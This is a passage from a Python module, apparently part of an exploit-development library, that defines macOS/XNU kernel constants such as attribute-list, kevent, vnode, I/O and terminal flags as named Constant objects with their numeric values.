Constant('ATTR_CMNEXT_PRIVATESIZE',0x00000008)\nATTR_CMNEXT_LINKID = Constant('ATTR_CMNEXT_LINKID',0x00000010)\nATTR_CMNEXT_NOFIRMLINKPATH = Constant('ATTR_CMNEXT_NOFIRMLINKPATH',0x00000020)\nATTR_CMNEXT_REALDEVID = Constant('ATTR_CMNEXT_REALDEVID',0x00000040)\nATTR_CMNEXT_REALFSID = Constant('ATTR_CMNEXT_REALFSID',0x00000080)\nATTR_CMNEXT_CLONEID = Constant('ATTR_CMNEXT_CLONEID',0x00000100)\nATTR_CMNEXT_EXT_FLAGS = Constant('ATTR_CMNEXT_EXT_FLAGS',0x00000200)\nATTR_CMNEXT_RECURSIVE_GENCOUNT = Constant('ATTR_CMNEXT_RECURSIVE_GENCOUNT',0x00000400)\nATTR_CMNEXT_ATTRIBUTION_TAG = Constant('ATTR_CMNEXT_ATTRIBUTION_TAG',0x00000800)\nATTR_CMNEXT_CLONE_REFCNT = Constant('ATTR_CMNEXT_CLONE_REFCNT',0x00001000)\nATTR_CMNEXT_VALIDMASK = Constant('ATTR_CMNEXT_VALIDMASK',0x00001ffc)\nATTR_CMNEXT_SETMASK = Constant('ATTR_CMNEXT_SETMASK',0x00000000)\nATTR_FORK_TOTALSIZE = Constant('ATTR_FORK_TOTALSIZE',0x00000001)\nATTR_FORK_ALLOCSIZE = Constant('ATTR_FORK_ALLOCSIZE',0x00000002)\nATTR_FORK_RESERVED = Constant('ATTR_FORK_RESERVED',0xffffffff)\nATTR_FORK_VALIDMASK = Constant('ATTR_FORK_VALIDMASK',0x00000003)\nATTR_FORK_SETMASK = Constant('ATTR_FORK_SETMASK',0x00000000)\nATTR_CMN_NAMEDATTRCOUNT = Constant('ATTR_CMN_NAMEDATTRCOUNT',0x00080000)\nATTR_CMN_NAMEDATTRLIST = Constant('ATTR_CMN_NAMEDATTRLIST',0x00100000)\nATTR_FILE_CLUMPSIZE = Constant('ATTR_FILE_CLUMPSIZE',0x00000010)\nATTR_FILE_FILETYPE = Constant('ATTR_FILE_FILETYPE',0x00000040)\nATTR_FILE_DATAEXTENTS = Constant('ATTR_FILE_DATAEXTENTS',0x00000800)\nATTR_FILE_RSRCEXTENTS = Constant('ATTR_FILE_RSRCEXTENTS',0x00004000)\nSRCHFS_START = Constant('SRCHFS_START',0x00000001)\nSRCHFS_MATCHPARTIALNAMES = Constant('SRCHFS_MATCHPARTIALNAMES',0x00000002)\nSRCHFS_MATCHDIRS = Constant('SRCHFS_MATCHDIRS',0x00000004)\nSRCHFS_MATCHFILES = Constant('SRCHFS_MATCHFILES',0x00000008)\nSRCHFS_SKIPLINKS = Constant('SRCHFS_SKIPLINKS',0x00000010)\nSRCHFS_SKIPINVISIBLE = Constant('SRCHFS_SKIPINVISIBLE',0x00000020)\nSRCHFS_SKIPPACKAGES = Constant('SRCHFS_SKIPPACKAGES',0x00000040)\nSRCHFS_SKIPINAPPROPRIATE = Constant('SRCHFS_SKIPINAPPROPRIATE',0x00000080)\nSRCHFS_NEGATEPARAMS = Constant('SRCHFS_NEGATEPARAMS',0x80000000)\nSRCHFS_VALIDOPTIONSMASK = Constant('SRCHFS_VALIDOPTIONSMASK',0x800000FF)\nKEV_ANY_VENDOR = Constant('KEV_ANY_VENDOR',0)\nKEV_ANY_CLASS = Constant('KEV_ANY_CLASS',0)\nKEV_ANY_SUBCLASS = Constant('KEV_ANY_SUBCLASS',0)\nKEV_VENDOR_APPLE = Constant('KEV_VENDOR_APPLE',1)\nKEV_NETWORK_CLASS = Constant('KEV_NETWORK_CLASS',1)\nKEV_IOKIT_CLASS = Constant('KEV_IOKIT_CLASS',2)\nKEV_SYSTEM_CLASS = Constant('KEV_SYSTEM_CLASS',3)\nKEV_APPLESHARE_CLASS = Constant('KEV_APPLESHARE_CLASS',4)\nKEV_FIREWALL_CLASS = Constant('KEV_FIREWALL_CLASS',5)\nKEV_IEEE80211_CLASS = Constant('KEV_IEEE80211_CLASS',6)\nKEV_NKE_CLASS = Constant('KEV_NKE_CLASS',7)\nKEV_NKE_ALF_SUBCLASS = Constant('KEV_NKE_ALF_SUBCLASS',1)\nKEV_NKE_ALF_STATE_CHANGED = Constant('KEV_NKE_ALF_STATE_CHANGED',1)\nXNU_KERN_EVENT_DATA_SIZE = Constant('XNU_KERN_EVENT_DATA_SIZE',1)\nKEV_VENDOR_CODE_MAX_STR_LEN = Constant('KEV_VENDOR_CODE_MAX_STR_LEN',200)\nN_KEV_VECTORS = Constant('N_KEV_VECTORS',5)\nM_WAITOK = Constant('M_WAITOK',0x0000)\nM_NOWAIT = Constant('M_NOWAIT',0x0001)\nM_ZERO = Constant('M_ZERO',0x0004)\nM_NULL = Constant('M_NULL',0x0008)\nM_PCB = Constant('M_PCB',4)\nM_RTABLE = Constant('M_RTABLE',5)\nM_IFADDR = Constant('M_IFADDR',9)\nM_SONAME = Constant('M_SONAME',11)\nM_LOCKF = Constant('M_LOCKF',40)\nM_TEMP = Constant('M_TEMP',80)\nM_UDFNODE = Constant('M_UDFNODE',84)\nM_UDFMNT = Constant('M_UDFMNT',85)\nM_KAUTH = Constant('M_KAUTH',100)\nHAVE_VT_LOCKERFS = Constant('HAVE_VT_LOCKERFS',1)\nVNODE_READ = Constant('VNODE_READ',0x01)\nVNODE_WRITE = Constant('VNODE_WRITE',0x02)\nVNODE_BLOCKMAP_NO_TRACK = Constant('VNODE_BLOCKMAP_NO_TRACK',0x04)\nVNODE_CLUSTER_VERIFY = Constant('VNODE_CLUSTER_VERIFY',0x08)\nPREALLOCATE = Constant('PREALLOCATE',0x00000001)\nALLOCATECONTIG = Constant('ALLOCATECONTIG',0x00000002)\nALLOCATEALL = Constant('ALLOCATEALL',0x00000004)\nALLOCATEPERSIST = Constant('ALLOCATEPERSIST',0x00000008)\nALLOCATEFROMPEOF = Constant('ALLOCATEFROMPEOF',0x00000010)\nALLOCATEFROMVOL = Constant('ALLOCATEFROMVOL',0x00000020)\nIO_UNIT = Constant('IO_UNIT',0x0001)\nIO_APPEND = Constant('IO_APPEND',0x0002)\nIO_SYNC = Constant('IO_SYNC',0x0004)\nIO_NODELOCKED = Constant('IO_NODELOCKED',0x0008)\nIO_NDELAY = Constant('IO_NDELAY',0x0010)\nIO_NOZEROFILL = Constant('IO_NOZEROFILL',0x0020)\nIO_TAILZEROFILL = Constant('IO_TAILZEROFILL',0x0040)\nIO_HEADZEROFILL = Constant('IO_HEADZEROFILL',0x0080)\nIO_NOZEROVALID = Constant('IO_NOZEROVALID',0x0100)\nIO_NOZERODIRTY = Constant('IO_NOZERODIRTY',0x0200)\nIO_CLOSE = Constant('IO_CLOSE',0x0400)\nIO_NOCACHE = Constant('IO_NOCACHE',0x0800)\nIO_RAOFF = Constant('IO_RAOFF',0x1000)\nIO_DEFWRITE = Constant('IO_DEFWRITE',0x2000)\nIO_PASSIVE = Constant('IO_PASSIVE',0x4000)\nIO_NOAUTH = Constant('IO_NOAUTH',0x8000)\nIO_NODIRECT = Constant('IO_NODIRECT',0x10000)\nIO_ENCRYPTED = Constant('IO_ENCRYPTED',0x20000)\nIO_RETURN_ON_THROTTLE = Constant('IO_RETURN_ON_THROTTLE',0x40000)\nIO_SINGLE_WRITER = Constant('IO_SINGLE_WRITER',0x80000)\nIO_SYSCALL_DISPATCH = Constant('IO_SYSCALL_DISPATCH',0x100000)\nIO_SWAP_DISPATCH = Constant('IO_SWAP_DISPATCH',0x200000)\nIO_SKIP_ENCRYPTION = Constant('IO_SKIP_ENCRYPTION',0x400000)\nIO_EVTONLY = Constant('IO_EVTONLY',0x800000)\nIO_NOCACHE_SYSSPACE = Constant('IO_NOCACHE_SYSSPACE',0x1000000)\nIO_NOCACHE_SWRITE = Constant('IO_NOCACHE_SWRITE',0x2000000)\nLOOKUP = Constant('LOOKUP',0)\nCREATE = Constant('CREATE',1)\nDELETE = Constant('DELETE',2)\nRENAME = Constant('RENAME',3)\nOPMASK = Constant('OPMASK',3)\nFOLLOW = Constant('FOLLOW',0x00000040)\nISDOTDOT = Constant('ISDOTDOT',0x00002000)\nMAKEENTRY = Constant('MAKEENTRY',0x00004000)\nISLASTCN = Constant('ISLASTCN',0x00008000)\nVNFS_NOCACHE = Constant('VNFS_NOCACHE',0x01)\nVNFS_CANTCACHE = Constant('VNFS_CANTCACHE',0x02)\nVNFS_ADDFSREF = Constant('VNFS_ADDFSREF',0x04)\nVNCREATE_FLAVOR = Constant('VNCREATE_FLAVOR',0)\nVA_UTIMES_NULL = Constant('VA_UTIMES_NULL',0x010000)\nVA_EXCLUSIVE = Constant('VA_EXCLUSIVE',0x020000)\nVA_NOINHERIT = Constant('VA_NOINHERIT',0x040000)\nVA_NOAUTH = Constant('VA_NOAUTH',0x080000)\nVA_64BITOBJIDS = Constant('VA_64BITOBJIDS',0x100000)\nVA_REALFSID = Constant('VA_REALFSID',0x200000)\nVA_USEFSID = Constant('VA_USEFSID',0x400000)\nVA_FILESEC_ACL = Constant('VA_FILESEC_ACL',0x800000)\nVSUID = Constant('VSUID',0x800)\nVSGID = Constant('VSGID',0x400)\nVSVTX = Constant('VSVTX',0x200)\nVREAD = Constant('VREAD',0x100)\nVWRITE = Constant('VWRITE',0x080)\nVEXEC = Constant('VEXEC',0x040)\nSKIPSYSTEM = Constant('SKIPSYSTEM',0x0001)\nFORCECLOSE = Constant('FORCECLOSE',0x0002)\nWRITECLOSE = Constant('WRITECLOSE',0x0004)\nSKIPSWAP = Constant('SKIPSWAP',0x0008)\nSKIPROOT = Constant('SKIPROOT',0x0010)\nDOCLOSE = Constant('DOCLOSE',0x0008)\nV_SAVE = Constant('V_SAVE',0x0001)\nV_SAVEMETA = Constant('V_SAVEMETA',0x0002)\nREVOKEALL = Constant('REVOKEALL',0x0001)\nVNODE_REMOVE_NODELETEBUSY = Constant('VNODE_REMOVE_NODELETEBUSY',0x0001)\nVNODE_REMOVE_SKIP_NAMESPACE_EVENT = Constant('VNODE_REMOVE_SKIP_NAMESPACE_EVENT',0x0002)\nVNODE_REMOVE_NO_AUDIT_PATH = Constant('VNODE_REMOVE_NO_AUDIT_PATH',0x0004)\nVNODE_REMOVE_DATALESS_DIR = Constant('VNODE_REMOVE_DATALESS_DIR',0x0008)\nVNODE_READDIR_EXTENDED = Constant('VNODE_READDIR_EXTENDED',0x0001)\nVNODE_READDIR_REQSEEKOFF = Constant('VNODE_READDIR_REQSEEKOFF',0x0002)\nVNODE_READDIR_SEEKOFF32 = Constant('VNODE_READDIR_SEEKOFF32',0x0004)\nVNODE_READDIR_NAMEMAX = Constant('VNODE_READDIR_NAMEMAX',0x0008)\nVNODE_CLONEFILE_DEFAULT = Constant('VNODE_CLONEFILE_DEFAULT',0x0000)\nVNODE_CLONEFILE_NOOWNERCOPY = Constant('VNODE_CLONEFILE_NOOWNERCOPY',0x0001)\nVNODE_ASYNC_THROTTLE = Constant('VNODE_ASYNC_THROTTLE',15)\nVNODE_UPDATE_PARENT = Constant('VNODE_UPDATE_PARENT',0x01)\nVNODE_UPDATE_NAME = Constant('VNODE_UPDATE_NAME',0x02)\nVNODE_UPDATE_CACHE = Constant('VNODE_UPDATE_CACHE',0x04)\nVNODE_UPDATE_PURGE = Constant('VNODE_UPDATE_PURGE',0x08)\nVNODE_LOOKUP_NOFOLLOW = Constant('VNODE_LOOKUP_NOFOLLOW',0x01)\nVNODE_LOOKUP_NOCROSSMOUNT = Constant('VNODE_LOOKUP_NOCROSSMOUNT',0x02)\nVNODE_LOOKUP_CROSSMOUNTNOWAIT = Constant('VNODE_LOOKUP_CROSSMOUNTNOWAIT',0x04)\nVNODE_LOOKUP_NOFOLLOW_ANY = Constant('VNODE_LOOKUP_NOFOLLOW_ANY',0x08)\nVNODE_RELOAD = Constant('VNODE_RELOAD',0x01)\nVNODE_WAIT = Constant('VNODE_WAIT',0x02)\nVNODE_WRITEABLE = Constant('VNODE_WRITEABLE',0x04)\nVNODE_WITHID = Constant('VNODE_WITHID',0x08)\nVNODE_NOLOCK_INTERNAL = Constant('VNODE_NOLOCK_INTERNAL',0x10)\nVNODE_NODEAD = Constant('VNODE_NODEAD',0x20)\nVNODE_NOSUSPEND = Constant('VNODE_NOSUSPEND',0x40)\nVNODE_ITERATE_ALL = Constant('VNODE_ITERATE_ALL',0x80)\nVNODE_ITERATE_ACTIVE = Constant('VNODE_ITERATE_ACTIVE',0x100)\nVNODE_ITERATE_INACTIVE = Constant('VNODE_ITERATE_INACTIVE',0x200)\nVNODE_RETURNED = Constant('VNODE_RETURNED',0)\nVNODE_RETURNED_DONE = Constant('VNODE_RETURNED_DONE',1)\nVNODE_CLAIMED = Constant('VNODE_CLAIMED',2)\nVNODE_CLAIMED_DONE = Constant('VNODE_CLAIMED_DONE',3)\nIOCS_BUFFER_NUM_SIZE_BUCKETS = Constant('IOCS_BUFFER_NUM_SIZE_BUCKETS',10)\nIOCS_BUFFER_MAX_BUCKET = Constant('IOCS_BUFFER_MAX_BUCKET',9)\nIOCS_BUFFER_NUM_COMPRESSION_BUCKETS = Constant('IOCS_BUFFER_NUM_COMPRESSION_BUCKETS',7)\nIOCS_BLOCK_NUM_SIZE_BUCKETS = Constant('IOCS_BLOCK_NUM_SIZE_BUCKETS',16)\nIOCS_SBE_PATH_LEN = Constant('IOCS_SBE_PATH_LEN',128)\nIOCS_PATH_START_BYTES_TO_COPY = Constant('IOCS_PATH_START_BYTES_TO_COPY',108)\nIOCS_PATH_END_BYTES_TO_COPY = Constant('IOCS_PATH_END_BYTES_TO_COPY',20)\nIOCS_SYSCTL_LIVE = Constant('IOCS_SYSCTL_LIVE',0x00000001)\nIOCS_SYSCTL_STORE_BUFFER_RD_ONLY = Constant('IOCS_SYSCTL_STORE_BUFFER_RD_ONLY',0x00000002)\nIOCS_SYSCTL_STORE_BUFFER_MARK = Constant('IOCS_SYSCTL_STORE_BUFFER_MARK',0x00000004)\nTANDEM = Constant('TANDEM',0x00000001)\nCBREAK = Constant('CBREAK',0x00000002)\nLCASE = Constant('LCASE',0x00000004)\nECHO = Constant('ECHO',0x00000008)\nCRMOD = Constant('CRMOD',0x00000010)\nRAW = Constant('RAW',0x00000020)\nODDP = Constant('ODDP',0x00000040)\nEVENP = Constant('EVENP',0x00000080)\nANYP = Constant('ANYP',0x000000c0)\nNLDELAY = Constant('NLDELAY',0x00000300)\nTBDELAY = Constant('TBDELAY',0x00000c00)\nXTABS = Constant('XTABS',0x00000c00)\nCRDELAY = Constant('CRDELAY',0x00003000)\nVTDELAY = Constant('VTDELAY',0x00004000)\nBSDELAY = Constant('BSDELAY',0x00008000)\nNL0 = Constant('NL0',0x00000000)\nNL1 = Constant('NL1',0x00000100)\nNL2 = Constant('NL2',0x00000200)\nNL3 = Constant('NL3',0x00000300)\nTAB0 = Constant('TAB0',0x00000000)\nTAB1 = Constant('TAB1',0x00000400)\nTAB2 = Constant('TAB2',0x00000800)\nCR0 = Constant('CR0',0x00000000)\nCR1 = Constant('CR1',0x00001000)\nCR2 = Constant('CR2',0x00002000)\nCR3 = Constant('CR3',0x00003000)\nFF0 = Constant('FF0',0x00000000)\nFF1 = Constant('FF1',0x00004000)\nBS0 = Constant('BS0',0x00000000)\nBS1 = Constant('BS1',0x00008000)\nCRTBS = Constant('CRTBS',0x00010000)\nPRTERA = Constant('PRTERA',0x00020000)\nCRTERA = Constant('CRTERA',0x00040000)\nTILDE = Constant('TILDE',0x00080000)\nMDMBUF = Constant('MDMBUF',0x00100000)\nLITOUT = Constant('LITOUT',0x00200000)\nTOSTOP = Constant('TOSTOP',0x00400000)\nFLUSHO = Constant('FLUSHO',0x00800000)\nNOHANG = Constant('NOHANG',0x01000000)\nL001000 = Constant('L001000',0x02000000)\nCRTKIL = Constant('CRTKIL',0x04000000)\nPASS8 = Constant('PASS8',0x08000000)\nCTLECH = Constant('CTLECH',0x10000000)\nPENDIN = Constant('PENDIN',0x20000000)\nDECCTQ = Constant('DECCTQ',0x40000000)\nNOFLSH = Constant('NOFLSH',0x80000000)\nOTTYDISC = Constant('OTTYDISC',0)\nNETLDISC = Constant('NETLDISC',1)\nNTTYDISC = Constant('NTTYDISC',2)\nLOCKLEAF = Constant('LOCKLEAF',0x0004)\nLOCKPARENT = Constant('LOCKPARENT',0x0008)\nWANTPARENT = Constant('WANTPARENT',0x0010)\nUIO_MAXIOV = Constant('UIO_MAXIOV',1024)\nUIO_SMALLIOV = Constant('UIO_SMALLIOV',8)\nEVFILT_SYSCOUNT = Constant('EVFILT_SYSCOUNT',18)\nKEVENT_FLAG_NONE = Constant('KEVENT_FLAG_NONE',0x000000)\nKEVENT_FLAG_IMMEDIATE = Constant('KEVENT_FLAG_IMMEDIATE',0x000001)\nKEVENT_FLAG_ERROR_EVENTS = Constant('KEVENT_FLAG_ERROR_EVENTS',0x000002)\nEV_ADD = Constant('EV_ADD',0x0001)\nEV_DELETE = Constant('EV_DELETE',0x0002)\nEV_ENABLE = Constant('EV_ENABLE',0x0004)\nEV_DISABLE = Constant('EV_DISABLE',0x0008)\nEV_ONESHOT = Constant('EV_ONESHOT',0x0010)\nEV_CLEAR = Constant('EV_CLEAR',0x0020)\nEV_RECEIPT = Constant('EV_RECEIPT',0x0040)\nEV_DISPATCH = Constant('EV_DISPATCH',0x0080)\nEV_UDATA_SPECIFIC = Constant('EV_UDATA_SPECIFIC',0x0100)\nEV_VANISHED = Constant('EV_VANISHED',0x0200)\nEV_SYSFLAGS = Constant('EV_SYSFLAGS',0xF000)\nEV_FLAG0 = Constant('EV_FLAG0',0x1000)\nEV_FLAG1 = Constant('EV_FLAG1',0x2000)\nEV_EOF = Constant('EV_EOF',0x8000)\nEV_ERROR = Constant('EV_ERROR',0x4000)\nNOTE_TRIGGER = Constant('NOTE_TRIGGER',0x01000000)\nNOTE_FFNOP = Constant('NOTE_FFNOP',0x00000000)\nNOTE_FFAND = Constant('NOTE_FFAND',0x40000000)\nNOTE_FFOR = Constant('NOTE_FFOR',0x80000000)\nNOTE_FFCOPY = Constant('NOTE_FFCOPY',0xc0000000)\nNOTE_FFCTRLMASK = Constant('NOTE_FFCTRLMASK',0xc0000000)\nNOTE_FFLAGSMASK = Constant('NOTE_FFLAGSMASK',0x00ffffff)\nNOTE_LOWAT = Constant('NOTE_LOWAT',0x00000001)\nNOTE_OOB = Constant('NOTE_OOB',0x00000002)\nNOTE_DELETE = Constant('NOTE_DELETE',0x00000001)\nNOTE_WRITE = Constant('NOTE_WRITE',0x00000002)\nNOTE_EXTEND = Constant('NOTE_EXTEND',0x00000004)\nNOTE_ATTRIB = Constant('NOTE_ATTRIB',0x00000008)\nNOTE_LINK = Constant('NOTE_LINK',0x00000010)\nNOTE_RENAME = Constant('NOTE_RENAME',0x00000020)\nNOTE_REVOKE = Constant('NOTE_REVOKE',0x00000040)\nNOTE_NONE = Constant('NOTE_NONE',0x00000080)\nNOTE_FUNLOCK = Constant('NOTE_FUNLOCK',0x00000100)\nNOTE_LEASE_DOWNGRADE = Constant('NOTE_LEASE_DOWNGRADE',0x00000200)\nNOTE_LEASE_RELEASE = Constant('NOTE_LEASE_RELEASE',0x00000400)\nNOTE_EXIT = Constant('NOTE_EXIT',0x80000000)\nNOTE_FORK = Constant('NOTE_FORK',0x40000000)\nNOTE_EXEC = Constant('NOTE_EXEC',0x20000000)\nNOTE_SIGNAL = Constant('NOTE_SIGNAL',0x08000000)\nNOTE_EXITSTATUS = Constant('NOTE_EXITSTATUS',0x04000000)\nNOTE_EXIT_DETAIL = Constant('NOTE_EXIT_DETAIL',0x02000000)\nNOTE_PDATAMASK = Constant('NOTE_PDATAMASK',0x000fffff)\nNOTE_EXIT_DETAIL_MASK = Constant('NOTE_EXIT_DETAIL_MASK',0x00070000)\nNOTE_EXIT_DECRYPTFAIL = Constant('NOTE_EXIT_DECRYPTFAIL',0x00010000)\nNOTE_EXIT_MEMORY = Constant('NOTE_EXIT_MEMORY',0x00020000)\nNOTE_EXIT_CSERROR = Constant('NOTE_EXIT_CSERROR',0x00040000)\nNOTE_VM_PRESSURE = Constant('NOTE_VM_PRESSURE',0x80000000)\nNOTE_VM_PRESSURE_TERMINATE = Constant('NOTE_VM_PRESSURE_TERMINATE',0x40000000)\nNOTE_VM_PRESSURE_SUDDEN_TERMINATE = Constant('NOTE_VM_PRESSURE_SUDDEN_TERMINATE',0x20000000)\nNOTE_VM_ERROR = Constant('NOTE_VM_ERROR',0x10000000)\nNOTE_SECONDS = Constant('NOTE_SECONDS',0x00000001)\nNOTE_USECONDS = Constant('NOTE_USECONDS',0x00000002)\nNOTE_NSECONDS = Constant('NOTE_NSECONDS',0x00000004)\nNOTE_ABSOLUTE = Constant('NOTE_ABSOLUTE',0x00000008)\nNOTE_LEEWAY = Constant('NOTE_LEEWAY',0x00000010)\nNOTE_CRITICAL = Constant('NOTE_CRITICAL',0x00000020)\nNOTE_BACKGROUND = Constant('NOTE_BACKGROUND',0x00000040)\nNOTE_MACH_CONTINUOUS_TIME = Constant('NOTE_MACH_CONTINUOUS_TIME',0x00000080)\nNOTE_MACHTIME = Constant('NOTE_MACHTIME',0x00000100)\nNOTE_TRACK = Constant('NOTE_TRACK',0x00000001)\nNOTE_TRACKERR = Constant('NOTE_TRACKERR',0x00000002)\nNOTE_CHILD = Constant('NOTE_CHILD',0x00000004)\nVMADDR_CID_HYPERVISOR = Constant('VMADDR_CID_HYPERVISOR',0)\nVMADDR_CID_RESERVED = Constant('VMADDR_CID_RESERVED',1)\nVMADDR_CID_HOST = Constant('VMADDR_CID_HOST',2)\nIMG_SHSIZE = Constant('IMG_SHSIZE',512)\nIMGPF_NONE = Constant('IMGPF_NONE',0x00000000)\nIMGPF_INTERPRET = Constant('IMGPF_INTERPRET',0x00000001)\nIMGPF_RESERVED = Constant('IMGPF_RESERVED',0x00000002)\nIMGPF_WAS_64BIT_ADDR = Constant('IMGPF_WAS_64BIT_ADDR',0x00000004)\nIMGPF_IS_64BIT_ADDR = Constant('IMGPF_IS_64BIT_ADDR',0x00000008)\nIMGPF_SPAWN = Constant('IMGPF_SPAWN',0x00000010)\nIMGPF_DISABLE_ASLR = Constant('IMGPF_DISABLE_ASLR',0x00000020)\nIMGPF_ALLOW_DATA_EXEC = Constant('IMGPF_ALLOW_DATA_EXEC',0x00000040)\nIMGPF_3P_PLUGINS = Constant('IMGPF_3P_PLUGINS',0x00000080)\nIMGPF_EXEC = Constant('IMGPF_EXEC',0x00000100)\nIMGPF_HIGH_BITS_ASLR = Constant('IMGPF_HIGH_BITS_ASLR',0x00000200)\nIMGPF_IS_64BIT_DATA = Constant('IMGPF_IS_64BIT_DATA',0x00000400)\nIMGPF_DRIVER = Constant('IMGPF_DRIVER',0x00000800)\nIMGPF_RESLIDE = Constant('IMGPF_RESLIDE',0x00001000)\nIMGPF_PLUGIN_HOST_DISABLE_A_KEYS = Constant('IMGPF_PLUGIN_HOST_DISABLE_A_KEYS',0x00002000)\nIMGPF_HW_TPRO = Constant('IMGPF_HW_TPRO',0x00004000)\nIMGPF_ROSETTA = Constant('IMGPF_ROSETTA',0x10000000)\nIMGPF_ALT_ROSETTA = Constant('IMGPF_ALT_ROSETTA',0x20000000)\nIMGPF_RESERVED_2 = Constant('IMGPF_RESERVED_2',0x40000000)\nIMGPF_NOJOP = Constant('IMGPF_NOJOP',0x80000000)\nIMGPF_SB_DEFAULT = Constant('IMGPF_SB_DEFAULT',0)\nIMGPF_SB_TRUE = Constant('IMGPF_SB_TRUE',1)\nIMGPF_SB_FALSE = Constant('IMGPF_SB_FALSE',2)\n_POSIX_THREAD_KEYS_MAX = Constant('_POSIX_THREAD_KEYS_MAX',128)\nF_OK = Constant('F_OK',0)\nACCESSX_MAX_DESCRIPTORS = Constant('ACCESSX_MAX_DESCRIPTORS',100)\n_PC_LINK_MAX = Constant('_PC_LINK_MAX',1)\n_PC_MAX_CANON = Constant('_PC_MAX_CANON',2)\n_PC_MAX_INPUT = Constant('_PC_MAX_INPUT',3)\n_PC_NAME_MAX = Constant('_PC_NAME_MAX',4)\n_PC_PATH_MAX = Constant('_PC_PATH_MAX',5)\n_PC_PIPE_BUF = Constant('_PC_PIPE_BUF',6)\n_PC_CHOWN_RESTRICTED = Constant('_PC_CHOWN_RESTRICTED',7)\n_PC_NO_TRUNC = Constant('_PC_NO_TRUNC',8)\n_PC_VDISABLE = Constant('_PC_VDISABLE',9)\n_PC_NAME_CHARS_MAX = Constant('_PC_NAME_CHARS_MAX',10)\n_PC_CASE_SENSITIVE = Constant('_PC_CASE_SENSITIVE',11)\n_PC_CASE_PRESERVING = Constant('_PC_CASE_PRESERVING',12)\n_PC_EXTENDED_SECURITY_NP = Constant('_PC_EXTENDED_SECURITY_NP',13)\n_PC_AUTH_OPAQUE_NP = Constant('_PC_AUTH_OPAQUE_NP',14)\n_PC_2_SYMLINKS = Constant('_PC_2_SYMLINKS',15)\n_PC_ALLOC_SIZE_MIN = Constant('_PC_ALLOC_SIZE_MIN',16)\n_PC_ASYNC_IO = Constant('_PC_ASYNC_IO',17)\n_PC_FILESIZEBITS = Constant('_PC_FILESIZEBITS',18)\n_PC_PRIO_IO = Constant('_PC_PRIO_IO',19)\n_PC_REC_INCR_XFER_SIZE = Constant('_PC_REC_INCR_XFER_SIZE',20)\n_PC_REC_MAX_XFER_SIZE = Constant('_PC_REC_MAX_XFER_SIZE',21)\n_PC_REC_MIN_XFER_SIZE = Constant('_PC_REC_MIN_XFER_SIZE',22)\n_PC_REC_XFER_ALIGN = Constant('_PC_REC_XFER_ALIGN',23)\n_PC_SYMLINK_MAX = Constant('_PC_SYMLINK_MAX',24)\n_PC_SYNC_IO = Constant('_PC_SYNC_IO',25)\n_PC_XATTR_SIZE_BITS = Constant('_PC_XATTR_SIZE_BITS',26)\n_PC_MIN_HOLE_SIZE = Constant('_PC_MIN_HOLE_SIZE',27)\n_CS_PATH = Constant('_CS_PATH',1)\n_SYS_CONF_H_ = Constant('_SYS_CONF_H_',1)\nD_TAPE = Constant('D_TAPE',1)\nD_DISK = Constant('D_DISK',2)\nD_TTY = Constant('D_TTY',3)\nWNOHANG = Constant('WNOHANG',0x00000001)\nWUNTRACED = Constant('WUNTRACED',0x00000002)\nWCOREFLAG = Constant('WCOREFLAG',0o0200)\n_WSTOPPED = Constant('_WSTOPPED',0o0177)\nWEXITED = Constant('WEXITED',0x00000004)\nWSTOPPED = Constant('WSTOPPED',0x00000008)\nWCONTINUED = Constant('WCONTINUED',0x00000010)\nWNOWAIT = Constant('WNOWAIT',0x00000020)\nWAIT_MYPGRP = Constant('WAIT_MYPGRP',0)\nPRIO_DARWIN_GPU = Constant('PRIO_DARWIN_GPU',5)\nPRIO_DARWIN_GPU_ALLOW = Constant('PRIO_DARWIN_GPU_ALLOW',0x1)\nPRIO_DARWIN_GPU_DENY = Constant('PRIO_DARWIN_GPU_DENY',0x2)\nPRIO_DARWIN_ROLE = Constant('PRIO_DARWIN_ROLE',6)\nPRIO_DARWIN_ROLE_DEFAULT = Constant('PRIO_DARWIN_ROLE_DEFAULT',0x0)\nPRIO_DARWIN_ROLE_UI_FOCAL = Constant('PRIO_DARWIN_ROLE_UI_FOCAL',0x1)\nPRIO_DARWIN_ROLE_UI = Constant('PRIO_DARWIN_ROLE_UI',0x2)\nPRIO_DARWIN_ROLE_NON_UI = Constant('PRIO_DARWIN_ROLE_NON_UI',0x3)\nPRIO_DARWIN_ROLE_UI_NON_FOCAL = Constant('PRIO_DARWIN_ROLE_UI_NON_FOCAL',0x4)\nPRIO_DARWIN_ROLE_TAL_LAUNCH = Constant('PRIO_DARWIN_ROLE_TAL_LAUNCH',0x5)\nPRIO_DARWIN_ROLE_DARWIN_BG = Constant('PRIO_DARWIN_ROLE_DARWIN_BG',0x6)\nPRIO_DARWIN_GAME_MODE = Constant('PRIO_DARWIN_GAME_MODE',7)\nPRIO_DARWIN_CARPLAY_MODE = Constant('PRIO_DARWIN_CARPLAY_MODE',8)\nPRIO_DARWIN_GAME_MODE_OFF = Constant('PRIO_DARWIN_GAME_MODE_OFF',0x0)\nPRIO_DARWIN_GAME_MODE_ON = Constant('PRIO_DARWIN_GAME_MODE_ON',0x1)\nPRIO_DARWIN_CARPLAY_MODE_OFF = Constant('PRIO_DARWIN_CARPLAY_MODE_OFF',0x0)\nPRIO_DARWIN_CARPLAY_MODE_ON = Constant('PRIO_DARWIN_CARPLAY_MODE_ON',0x1)\nIOMON_ENABLE = Constant('IOMON_ENABLE',0x01)\nIOMON_DISABLE = Constant('IOMON_DISABLE',0x02)\nIOPOL_TYPE_VFS_HFS_CASE_SENSITIVITY = Constant('IOPOL_TYPE_VFS_HFS_CASE_SENSITIVITY',1)\nIOPOL_TYPE_VFS_ALTLINK = Constant('IOPOL_TYPE_VFS_ALTLINK',11)\nIOPOL_TYPE_VFS_NOCACHE_WRITE_FS_BLKSIZE = Constant('IOPOL_TYPE_VFS_NOCACHE_WRITE_FS_BLKSIZE',12)\nIOPOL_VFS_HFS_CASE_SENSITIVITY_DEFAULT = Constant('IOPOL_VFS_HFS_CASE_SENSITIVITY_DEFAULT',0)\nIOPOL_VFS_HFS_CASE_SENSITIVITY_FORCE_CASE_SENSITIVE = Constant('IOPOL_VFS_HFS_CASE_SENSITIVITY_FORCE_CASE_SENSITIVE',1)\nIOPOL_VFS_ALTLINK_DISABLED = Constant('IOPOL_VFS_ALTLINK_DISABLED',0)\nIOPOL_VFS_ALTLINK_ENABLED = Constant('IOPOL_VFS_ALTLINK_ENABLED',1)\nIOPOL_CMD_GET = Constant('IOPOL_CMD_GET',0x00000001)\nIOPOL_CMD_SET = Constant('IOPOL_CMD_SET',0x00000002)\nIPC_CREAT = Constant('IPC_CREAT',0o001000)\nIPC_EXCL = 